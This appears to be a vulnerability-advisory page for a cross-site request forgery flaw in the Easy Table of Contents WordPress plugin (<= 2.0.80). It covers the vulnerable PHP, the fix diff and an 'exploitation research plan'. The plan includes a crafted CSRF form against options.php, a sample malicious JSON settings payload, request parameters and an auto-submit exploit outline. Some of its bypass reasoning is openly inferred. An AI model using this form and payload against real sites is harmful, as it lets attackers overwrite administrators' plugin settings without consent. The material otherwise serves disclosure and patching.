Easy Table of Contents <= 2.0.80 - Cross-Site Request Forgery
Description
The Easy Table of Contents plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.0.80. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=2.0.80What Changed in the Fix
Changes introduced in v2.0.81
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-32343 ## 1. Vulnerability Summary The **Easy Table of Contents** plugin (<= 2.0.80) is vulnerable to **Cross-Site Request Forgery (CSRF)** due to missing or incorrect nonce validation in its administrative functions. Specifically, the settings import/export a…
Show full research plan
Exploitation Research Plan - CVE-2026-32343
1. Vulnerability Summary
The Easy Table of Contents plugin (<= 2.0.80) is vulnerable to Cross-Site Request Forgery (CSRF) due to missing or incorrect nonce validation in its administrative functions. Specifically, the settings import/export and general configuration update logic in ezTOC_Option::sanitize() (located in includes/class-eztoc-option.php) lacks explicit nonce verification, relying instead on the global options.php handler which may be bypassed or improperly implemented for certain actions like the "Migration Tool" or "Import/Export" feature.
2. Attack Vector Analysis
- Endpoint:
wp-admin/options.php(standard Settings API endpoint) or a customadmin-post.phphandler. - Action:
update(foroptions.php) or a specific migration action likeeztoc_import(inferred). - Vulnerable Parameter:
eztoc_import_backup(file upload parameter). - Required Authentication: Administrator (victim must be tricked into clicking a link or visiting a page).
- Preconditions: The plugin must be active. The attacker needs to craft a malicious JSON settings file.
3. Code Flow
- The plugin registers its settings in
includes/class-eztoc-option.phpusingregister_setting( 'ez-toc-settings', 'ez-toc-settings', array( __CLASS__, 'sanitize' ) );. - The
sanitize()function is called whenever theez-toc-settingsoption is updated. - Inside
sanitize()(lines 104-123), the code explicitly skips nonce verification://phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page if ( empty( $_POST['_wp_http_referer'] ) ) { return $input; } - If
_wp_http_refereris present, it checks for an uploaded file in$_FILES['eztoc_import_backup'](line 111). - If a file is found, it reads the contents, JSON-decodes it, and if it contains 40 or more keys (line 124), it overwrites the
$input(the settings being saved) with the imported values. - The vulnerability exists because an attacker can forge a request to
options.phpthat includes theeztoc_import_backupfile. If the nonce check for theez-toc-settingsgroup is missing or can be bypassed (e.g., via the migration tool logic), the settings will be overwritten.
4. Nonce Acquisition Strategy
While the vulnerability description suggests nonces are missing or incorrect, the sanitize() function explicitly relies on external verification. If the primary settings page is the target, we must attempt to acquire a nonce if the environment enforces it, or demonstrate the bypass if it doesn't.
- Identify the Nonce Variable: On the Easy TOC settings page, look for the nonce generated by
settings_fields( 'ez-toc-settings' ). This usually creates a hidden field named_wpnonce. - Page Navigation:
- Use
wp post createto ensure a page exists where the TOC might be configured. - Navigate to
wp-admin/options-general.php?page=ez-toc.
- Use
- Browser Evaluation:
- The plugin might not expose the settings nonce via
wp_localize_script, but it is present in the HTML form. - Extract it using:
browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value").
- The plugin might not expose the settings nonce via
Note: If the vulnerability is a total lack of nonce checking on a custom handler (like a migration hook), no nonce is required.
5. Exploitation Strategy
The goal is to overwrite the plugin settings via CSRF to disable the TOC or inject malicious configurations.
Step-by-Step Exploit:
Prepare Payload: Create a JSON file named
malicious_settings.jsoncontaining a valid Easy TOC settings array (at least 40 keys). Set a visible change, such as:{ "enabled_post_types": [], "auto_insert_post_types": [], "fragment_prefix": "hacked-", "heading_levels": [1], "exclude": ".*" }(Note: Ensure 40+ keys are present to pass the check in
class-eztoc-option.phpline 124).Craft CSRF Form:
<form action="http://victims-site.com/wp-admin/options.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="option_page" value="ez-toc-settings" /> <input type="hidden" name="action" value="update" /> <!-- If nonce is required, it must be leaked or bypassed --> <input type="hidden" name="_wpnonce" value="EXPLOIT_IF_POSSIBLE" /> <input type="file" name="eztoc_import_backup" /> <input type="submit" value="Submit" /> </form>Execute Request: Use
http_requestto send a multipart POST request simulating an administrator's browser session.
Request Details:
- URL:
http://localhost:8080/wp-admin/options.php - Method:
POST - Content-Type:
multipart/form-data - Body:
option_page:ez-toc-settingsaction:update_wp_http_referer:/wp-admin/options-general.php?page=easy-table-of-contentseztoc_import_backup: (Binary content of the JSON file)
6. Test Data Setup
- Install/Activate: Ensure Easy Table of Contents 2.0.80 is active.
- Standard Configuration: Configure the plugin to show the TOC on posts.
- Create Content:
wp post create --post_type=post --post_title="TOC Test" --post_content="<h2>Heading 1</h2><p>Content</p>" --post_status=publish - Confirm TOC: Verify the TOC appears on the frontend of the new post.
Summary
The Easy Table of Contents plugin is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce verification in its settings sanitization logic. This allows attackers to overwrite the entire plugin configuration by tricking an administrator into submitting a malicious JSON import file through a forged request.
Vulnerable Code
// includes/class-eztoc-option.php public static function sanitize( $input = array() ) { $options = self::getOptions(); //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page if ( empty( $_POST['_wp_http_referer'] ) ) { return $input; } // Code to settings backup file $uploaded_file_settings = array(); //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page if(isset($_FILES['eztoc_import_backup'])){ //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page $eztoc_import_backup_name = isset($_FILES['eztoc_import_backup']['name']) ?esc_url_raw(wp_unslash($_FILES="eztoc_import_backup"]["name"])):''; $fileInfo = wp_check_filetype(basename($eztoc_import_backup_name)); if (!empty($fileInfo['ext']) && $fileInfo['ext'] == 'json') { //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page $eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ?esc_url_raw(wp_unslash($_FILES["eztoc_import_backup"]["tmp_name"])):''; if(!empty($eztoc_import_backup_tmpname)){ //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page $uploaded_file_settings = json_decode(eztoc_read_file_contents($eztoc_import_backup_tmpname), true); } } } if(!empty($uploaded_file_settings) && is_array($uploaded_file_settings) && count($uploaded_file_settings) >= 40){ // ... (truncated) ... if(count($exported_array) >= 40){ $input = array(); $input = $exported_array; } } // ...
Security Fix
@@ -95,49 +95,125 @@ } // Code to settings backup file $uploaded_file_settings = array(); + $import_error = false; + $import_success = false; + //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page - if(isset($_FILES['eztoc_import_backup'])){ + if(isset($_FILES['eztoc_import_backup']) && !empty($_FILES['eztoc_import_backup']['name'])){ //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page - $eztoc_import_backup_name = isset($_FILES['eztoc_import_backup']['name']) ?esc_url_raw(wp_unslash($_FILES["eztoc_import_backup"]["name"])):''; - $fileInfo = wp_check_filetype(basename($eztoc_import_backup_name)); - if (!empty($fileInfo['ext']) && $fileInfo['ext'] == 'json') { + $file_error = isset($_FILES['eztoc_import_backup']['error']) ? $_FILES['eztoc_import_backup']['error'] : UPLOAD_ERR_NO_FILE; + + // Check for file upload errors + if($file_error !== UPLOAD_ERR_OK){ + // ... error handling ... + $import_error = true; + } else { //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page - $eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ?esc_url_raw(wp_unslash($_FILES["eztoc_import_backup"]["tmp_name"])):''; - if(!empty($eztoc_import_backup_tmpname)){ + $eztoc_import_backup_name_original = isset($_FILES['eztoc_import_backup']['name']) ? wp_unslash($_FILES["eztoc_import_backup"]["name"]) : ''; + $eztoc_import_backup_name = sanitize_file_name($eztoc_import_backup_name_original); + + $file_extension = strtolower(pathinfo($eztoc_import_backup_name_original, PATHINFO_EXTENSION)); + if (empty($file_extension) || $file_extension !== 'json') { + add_settings_error('ez-toc-settings', 'import_file_type', 'Import failed...', 'error'); + $import_error = true; + } else { //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page - $uploaded_file_settings = json_decode(eztoc_read_file_contents($eztoc_import_backup_tmpname), true); - } - } - } - if(!empty($uploaded_file_settings) && is_array($uploaded_file_settings) && count($uploaded_file_settings) >= 40){ + $eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ? sanitize_text_field(wp_unslash($_FILES["eztoc_import_backup"]["tmp_name"])) : ''; + // ... refined JSON processing and validation logic ...
Exploit Outline
The exploit uses a standard CSRF methodology to target the WordPress settings API endpoint. 1. Payload Preparation: Create a JSON file containing a valid set of Easy Table of Contents settings (at least 40 key-value pairs). Modify sensitive settings, such as disabling TOC generation or altering layout parameters to disrupt the site. 2. Form Crafting: Create an HTML form that targets `/wp-admin/options.php`. The form must include multipart/form-data encoding. 3. Required Parameters: Set `option_page` to `ez-toc-settings`, `action` to `update`, and include the `_wp_http_referer` parameter pointing to the plugin settings page. 4. File Inclusion: Include a file input named `eztoc_import_backup` containing the prepared JSON payload. 5. Execution: Trick a site administrator into visiting a page that auto-submits this form. Since `sanitize()` explicitly ignores nonce verification when processing file uploads, the settings will be overwritten upon submission.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.